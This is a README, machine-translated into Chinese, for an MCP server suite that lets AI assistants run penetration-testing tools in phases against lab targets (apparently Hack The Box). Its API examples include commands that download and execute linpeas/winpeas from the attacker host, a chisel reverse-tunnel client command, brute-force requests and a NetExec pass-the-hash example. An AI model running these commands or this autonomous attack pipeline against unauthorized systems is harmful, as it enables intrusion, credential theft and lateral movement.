使用说明

MCP Pwnbox

一套用于渗透测试工作流的MCP（模型上下文协议）服务器。通过标准化协议公开安全工具，允许AI助手执行自动侦察、枚举、利用和后利用。

建筑

┌─────────────┐
│  AI Client  │  (Claude Code, etc.)
└──────┬──────┘
       │ MCP Protocol (stdin/stdout)
       ▼
┌─────────────────────────────────────┐
│      ORCHESTRATOR (MCP Server)      │
│  ┌───────────┐  ┌───────────────┐   │
│  │   State   │  │    Phase      │   │
│  │  Machine  │  │  Controller   │   │
│  └───────────┘  └───────────────┘   │
└─────────────────────────────────────┘
       │
       ▼
┌──────┴──────┬───────────┬───────────┐
│pwnbox-recon │pwnbox-enum│pwnbox-exploit│pwnbox-post
│  nmap       │  gobuster │  sqlmap      │  linpeas
│  masscan    │  ffuf     │  hydra       │  chisel
│  dig        │  ferox    │  nikto       │  nxc
└─────────────┴───────────┴──────────────┴───────────

快速开始

先决条件

Docker和Docker组合
Python 3.11+（例如客户端）
pip install mcp （MCP客户端库）
单词列表位于 /usr/share/wordlists （或调整docker组成卷）

设置

# Clone and enter directory
cd mcp-pwnbox

# Build all containers
docker compose build

# Start all services
docker compose up -d

# Verify containers are running
docker ps | grep pwnbox

测试设置

# Test orchestrator
docker exec -i pwnbox-orchestrator python -c "
from server import handle_get_state
import asyncio
print(asyncio.run(handle_get_state({})))
"

# Test recon server
docker exec -it pwnbox-recon nmap --version

# Run example client
python example_client.py

API命令（CLI示例）

这些示例直接通过每个容器的stdio服务器调用MCP工具。

# List tools from a server (example: recon)
python - <<'PY'
import asyncio
from mcp import ClientSession, StdioServerParameters
from mcp.client.stdio import stdio_client

async def main():
    params = StdioServerParameters(
        command="docker",
        args=["exec", "-i", "pwnbox-recon", "python", "/app/server.py"],
        env=None,
    )
    async with stdio_client(params) as (read, write):
        async with ClientSession(read, write) as session:
            await session.initialize()
            tools = await session.list_tools()
            for t in tools.tools:
                print(f"{t.name}: {t.description}")

asyncio.run(main())
PY

# Call a tool (example: nmap_scan)
TARGET=10.10.10.5
python - <<PY
import asyncio, json, os
from mcp import ClientSession, StdioServerParameters
from mcp.client.stdio import stdio_client

async def main():
    params = StdioServerParameters(
        command="docker",
        args=["exec", "-i", "pwnbox-recon", "python", "/app/server.py"],
        env=None,
    )
    async with stdio_client(params) as (read, write):
        async with ClientSession(read, write) as session:
            await session.initialize()
            result = await session.call_tool(
                "nmap_scan",
                arguments={"target": os.environ["TARGET"], "scan_type": "quick"},
            )
            for content in result.content:
                if content.type == "text":
                    print(content.text)

asyncio.run(main())
PY

MCP服务器

编排器(`pwnbox-orchestrator`)

渗透测试工作流的状态管理和阶段控制。编排器是“愚蠢而严格的”——它执行规则，但从不执行命令。

集装箱： pwnbox-orchestrator

状态机

状态	描述
`INIT`	初始状态，未设定目标
`RECON_RUNNING`	侦察阶段已激活
`RECON_COMPLETE`	Recon已完成，准备枚举
`ENUM_RUNNING`	枚举处于活动状态
`ENUM_COMPLETE`	枚举已完成
`VULN_ANALYSIS`	分析调查结果
`EXPLOIT_RUNNING`	开采活动活跃
`POST_EXPLOIT`	开采后活跃
`COMPLETE`	订婚已完成
`ERROR`	错误状态

有效状态转换

INIT → RECON_RUNNING
RECON_RUNNING → RECON_COMPLETE | ERROR
RECON_COMPLETE → ENUM_RUNNING | VULN_ANALYSIS
ENUM_RUNNING → ENUM_COMPLETE | ERROR
ENUM_COMPLETE → VULN_ANALYSIS | ENUM_RUNNING (iterate)
VULN_ANALYSIS → EXPLOIT_RUNNING | ENUM_RUNNING (need more info)
EXPLOIT_RUNNING → POST_EXPLOIT | ERROR | VULN_ANALYSIS
POST_EXPLOIT → COMPLETE | EXPLOIT_RUNNING
ERROR → INIT (reset)

Recon服务器(`pwnbox-recon`)

网络发现和侦察工具。

集装箱： pwnbox-recon

枚举服务器(`pwnbox-enum`)

Web和服务枚举工具。

集装箱： pwnbox-enum

利用服务器漏洞(`pwnbox-exploit`)

主动利用工具。

集装箱： pwnbox-exploit

邮政服务器(`pwnbox-post`)

开采后和横向移动工具。

集装箱： pwnbox-post

api参考

编排器工具

`get_state`

获取当前编排器状态。

// Request
{}

// Response
{
  "state": "INIT",
  "state_description": "Initial state - set a target to begin",
  "target": null,
  "current_phase": null,
  "valid_transitions": ["RECON_RUNNING"],
  "findings_count": 0,
  "history_count": 0,
  "started_at": null
}

`set_target`

设定参与目标。仅允许在INIT状态下使用。

// Request
{
  "target": "10.10.10.5"
}

// Response
{
  "success": true,
  "target": "10.10.10.5",
  "message": "Target set to 10.10.10.5. Transition to RECON_RUNNING to begin."
}

`transition`

请求状态转换。

// Request
{
  "to_state": "RECON_RUNNING",
  "reason": "Starting initial reconnaissance"
}

// Response
{
  "success": true,
  "previous_state": "INIT",
  "new_state": "RECON_RUNNING",
  "new_phase": "recon",
  "description": "Reconnaissance phase in progress"
}

`reset`

将编排器重置为INIT状态。

// Request
{}

// Response
{
  "success": true,
  "message": "Orchestrator reset to INIT state",
  "cleared": {
    "previous_state": "RECON_RUNNING",
    "previous_target": "10.10.10.5"
  }
}

`get_phase_info`

获得一个阶段的允许工具和限制。

// Request
{
  "phase": "recon"  // optional, defaults to current phase
}

// Response
{
  "phase": "recon",
  "allowed_tools": ["nmap_scan", "masscan_scan", "dig_lookup"],
  "server": "pwnbox-recon",
  "max_runtime": 600,
  "max_targets": 10,
  "requires_target": true,
  "description": "Network discovery and reconnaissance"
}

`validate_tool_request`

检查当前阶段是否允许使用工具。

// Request
{
  "tool_name": "nmap_scan"
}

// Response (allowed)
{
  "allowed": true,
  "tool": "nmap_scan",
  "current_phase": "recon"
}

// Response (not allowed)
{
  "allowed": false,
  "tool": "sqlmap_scan",
  "current_phase": "recon",
  "reason": "Tool 'sqlmap_scan' not allowed in phase 'recon'",
  "allowed_tools": ["nmap_scan", "masscan_scan", "dig_lookup"]
}

`log_tool_result`

记录工具执行结果以进行历史跟踪。

// Request
{
  "tool_name": "nmap_scan",
  "success": true,
  "summary": "Found 3 open ports: 22, 80, 443"
}

// Response
{
  "logged": true,
  "history_count": 5
}

`get_findings`

获取所有记录的发现。

// Request
{
  "finding_type": "port"  // optional filter
}

// Response
{
  "findings": [...],
  "total_count": 10,
  "filtered_count": 3
}

`add_finding`

添加一个发现。

// Request
{
  "finding_type": "port",
  "description": "SSH service on port 22",
  "details": {"port": 22, "service": "ssh", "version": "OpenSSH 8.2"},
  "severity": "info"
}

// Response
{
  "success": true,
  "finding_id": 0,
  "findings_count": 1
}

`get_suggested_next`

根据状态和调查结果获得建议的下一步行动。

// Request
{}

// Response
{
  "current_state": "RECON_RUNNING",
  "target": "10.10.10.5",
  "findings_summary": {
    "total": 3,
    "by_type": {"port": 3, "service": 0, "vulnerability": 0, "credential": 0, "other": 0}
  },
  "suggestions": [
    {
      "action": "transition",
      "args": {"to_state": "RECON_COMPLETE"},
      "description": "Complete recon phase and move to enumeration",
      "priority": "medium"
    }
  ]
}

Recon工具

`nmap_scan`

带有服务/版本检测的端口扫描。

// Request
{
  "target": "10.10.10.5",
  "ports": "1-1000",
  "scan_type": "standard",  // quick, standard, full, udp
  "scripts": true
}

// Response
{
  "success": true,
  "command": "nmap -Pn -p 1-1000 -sV -sC -oX /tmp/nmap.xml 10.10.10.5",
  "stdout": "...",
  "open_ports": [
    {"port": 22, "protocol": "tcp", "service": "ssh", "product": "OpenSSH", "version": "8.2"}
  ],
  "target": "10.10.10.5"
}

`masscan_scan`

超快端口扫描。

// Request
{
  "target": "10.10.10.5",
  "ports": "1-65535",
  "rate": 1000,
  "interface": "tun0"
}

`dig_lookup`

DNS枚举。

// Request
{
  "domain": "target.htb",
  "record_type": "ANY",  // A, AAAA, MX, NS, TXT, SOA, CNAME, ANY, AXFR
  "server": "@10.10.10.5"
}

枚举工具

`gobuster_dir`

目录/文件暴力破解。

// Request
{
  "url": "http://10.10.10.5",
  "wordlist": "/wordlists/dirb/common.txt",
  "extensions": "php,html,txt",
  "threads": 50,
  "status_codes": "200,204,301,302,307,401,403"
}

`ffuf_fuzz`

快速网络模糊器（目录、vhost、参数）。

// Request
{
  "url": "http://10.10.10.5/FUZZ",
  "wordlist": "/wordlists/dirb/common.txt",
  "method": "GET",
  "headers": "Host: FUZZ.target.htb",
  "data": "username=FUZZ&password=test",
  "filter_code": "404,403",
  "filter_size": "1234",
  "threads": 50
}

`feroxbuster_scan`

递归内容发现。

// Request
{
  "url": "http://10.10.10.5",
  "wordlist": "/wordlists/dirb/common.txt",
  "extensions": "php,html",
  "depth": 2,
  "threads": 50
}

`curl_request`

HTTP请求。

// Request
{
  "url": "http://10.10.10.5/api/users",
  "method": "POST",
  "headers": ["Authorization: Bearer token", "Content-Type: application/json"],
  "data": "{\"username\": \"admin\"}",
  "follow_redirects": true,
  "include_headers": true,
  "timeout_seconds": 15
}

利用工具

`sqlmap_scan`

SQL注入测试。

// Request
{
  "url": "http://target/page?id=1",
  "data": "username=admin&password=pass",
  "level": 1,
  "risk": 1,
  "technique": "BEUSTQ",
  "dbs": true,
  "tables": true,
  "dump": false,
  "database": "mydb"
}

`hydra_attack`

密码暴力破解。

// Request
{
  "target": "10.10.10.5",
  "service": "ssh",  // ssh, ftp, http-post-form, http-get, smb, rdp, mysql
  "username": "admin",
  "wordlist": "/wordlists/rockyou.txt",
  "port": 22,
  "options": "/login:username=^USER^&password=^PASS^:F=incorrect",
  "tasks": 16
}

`nikto_scan`

Web漏洞扫描。

// Request
{
  "url": "http://10.10.10.5",
  "tuning": "123456789",
  "plugins": "apache,cgi",
  "ssl": false,
  "port": 80
}

`searchsploit_search`

利用数据库搜索。

// Request
{
  "query": "apache 2.4",
  "exact": false,
  "cve": "2021-44228",
  "exclude": "dos"
}

`john_crack`

密码破解。

// Request
{
  "hash_file": "/tmp/hashes.txt",
  "wordlist": "/wordlists/rockyou.txt",
  "format": "raw-md5",
  "rules": "best64",
  "show": false
}

漏洞利用后工具

`serve_linpeas`

通过HTTP提供linpeas.sh。

// Request
{
  "port": 8888
}

// Response
{
  "success": true,
  "port": 8888,
  "pid": 12345,
  "download_commands": {
    "wget": "wget http://10.10.14.5:8888/linpeas.sh -O /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh",
    "curl": "curl http://10.10.14.5:8888/linpeas.sh -o /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh"
  }
}

`serve_winpeas`

通过HTTP提供winpeas.exe。

// Request
{
  "port": 8888
}

// Response
{
  "success": true,
  "download_commands": {
    "powershell": "Invoke-WebRequest -Uri http://10.10.14.5:8888/winpeas.exe -OutFile C:\\Temp\\winpeas.exe",
    "certutil": "certutil -urlcache -split -f http://10.10.14.5:8888/winpeas.exe C:\\Temp\\winpeas.exe"
  }
}

`chisel_server`

启动凿子反向隧道服务器。

// Request
{
  "port": 8000,
  "reverse": true
}

// Response
{
  "success": true,
  "port": 8000,
  "client_command": "./chisel client 10.10.14.5:8000 R:LOCALPORT:127.0.0.1:REMOTEPORT",
  "example": "./chisel client 10.10.14.5:8000 R:8080:127.0.0.1:80"
}

`pspy_info`

获取pspy二进制信息以进行传输。

// Request
{}

// Response
{
  "success": true,
  "files": [
    {"name": "pspy64", "path": "/tools/pspy64", "size_kb": 3000}
  ],
  "usage": "Transfer to target and run: ./pspy64"
}

`nxc_exec`

NetExec（CrackMapExec的继任者）用于横向移动。

// Request
{
  "target": "10.10.10.5",
  "protocol": "smb",
  "username": "admin",
  "password": "P@ssw0rd",
  "hash": "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0",
  "command": "whoami",
  "shares": true,
  "users": true,
  "sam": false,
  "lsa": false
}

`stop_server`

停止正在运行的HTTP或凿子服务器。

// Request
{
  "port": 8888
}

常用命令

看 COMMANDS.md 快速参考命令表。

# Build and start all containers
docker compose build && docker compose up -d

# Rebuild after code changes
docker compose build && docker compose up -d

# View logs
docker compose logs -f orchestrator
docker compose logs -f recon-server

# Check container status
docker ps | grep pwnbox

# Enter containers for manual testing
docker exec -it pwnbox-orchestrator bash
docker exec -it pwnbox-recon bash
docker exec -it pwnbox-enum bash
docker exec -it pwnbox-exploit bash
docker exec -it pwnbox-post bash

# Stop all services
docker compose down

# Run example client
python example_client.py

项目结构

mcp-pwnbox/
├── docker-compose.yml           # Container orchestration
├── mcp-servers/
│   ├── orchestrator/
│   │   ├── server.py           # Orchestrator MCP server
│   │   ├── state_machine.py    # State enum and transitions
│   │   ├── phase_controller.py # Phase definitions
│   │   ├── Dockerfile
│   │   └── requirements.txt
│   ├── recon/
│   │   ├── server.py           # Recon tools server
│   │   ├── Dockerfile
│   │   └── requirements.txt
│   ├── enum/
│   │   ├── server.py           # Enumeration tools server
│   │   ├── Dockerfile
│   │   └── requirements.txt
│   ├── exploit/
│   │   ├── server.py           # Exploitation tools server
│   │   ├── Dockerfile
│   │   └── requirements.txt
│   └── post/
│       ├── server.py           # Post-exploit tools server
│       ├── Dockerfile
│       └── requirements.txt
├── example_client.py           # Example MCP client
├── CLAUDE.md                   # AI assistant guidance
└── README.md                   # This file

实现细节

为什么 `-Pn` nmap标志

HTB目标经常阻止ICMP，导致nmap的主机发现失败。

为什么主机联网

容器需要访问HTB主机的tun0 VPN接口。

为什么 `tail -f /dev/null`

使容器保持活力 docker exec 无需连续运行MCP服务器即可访问。

单词列表

安装在 /wordlists 和 /seclists 在容器中。

超时

默认值：大多数工具为300秒
扩展：nmap和sqlmap为600秒（慢速扫描）

添加新工具

在中添加工具定义 list_tools():

Tool(name="new_tool", description="...", inputSchema={...})

在中添加处理程序映射 call_tool():

handlers = {
    ...
    "new_tool": handle_new_tool,
}

实现处理函数：

async def handle_new_tool(args: dict) -> dict:
    cmd = ["tool", args["param"]]
    return await run_command(cmd)

如果需要新的二进制文件，请更新Dockerfile
如果工具属于特定阶段，则更新phase_controller.py

测试目标

scanme.nmap.org -官方nmap测试服务器（安全）
localhost -本地测试
HTB目标-需要主机上的VPN连接（tun0）

资源

安全说明

这是为了 仅限学习和授权测试。仅扫描您拥有或明确允许测试的系统。

使用说明

MCP Pwnbox

建筑

快速开始

先决条件

设置

测试设置

API命令（CLI示例）

MCP服务器

编排器(pwnbox-orchestrator)

状态机

有效状态转换

Recon服务器(pwnbox-recon)

枚举服务器(pwnbox-enum)

利用服务器漏洞(pwnbox-exploit)

邮政服务器(pwnbox-post)

api参考

编排器工具

get_state

set_target

transition

reset

get_phase_info

validate_tool_request

log_tool_result

get_findings

add_finding

get_suggested_next

Recon工具

nmap_scan

masscan_scan

dig_lookup

枚举工具

gobuster_dir

ffuf_fuzz

feroxbuster_scan

curl_request

利用工具

sqlmap_scan

hydra_attack

nikto_scan

searchsploit_search

john_crack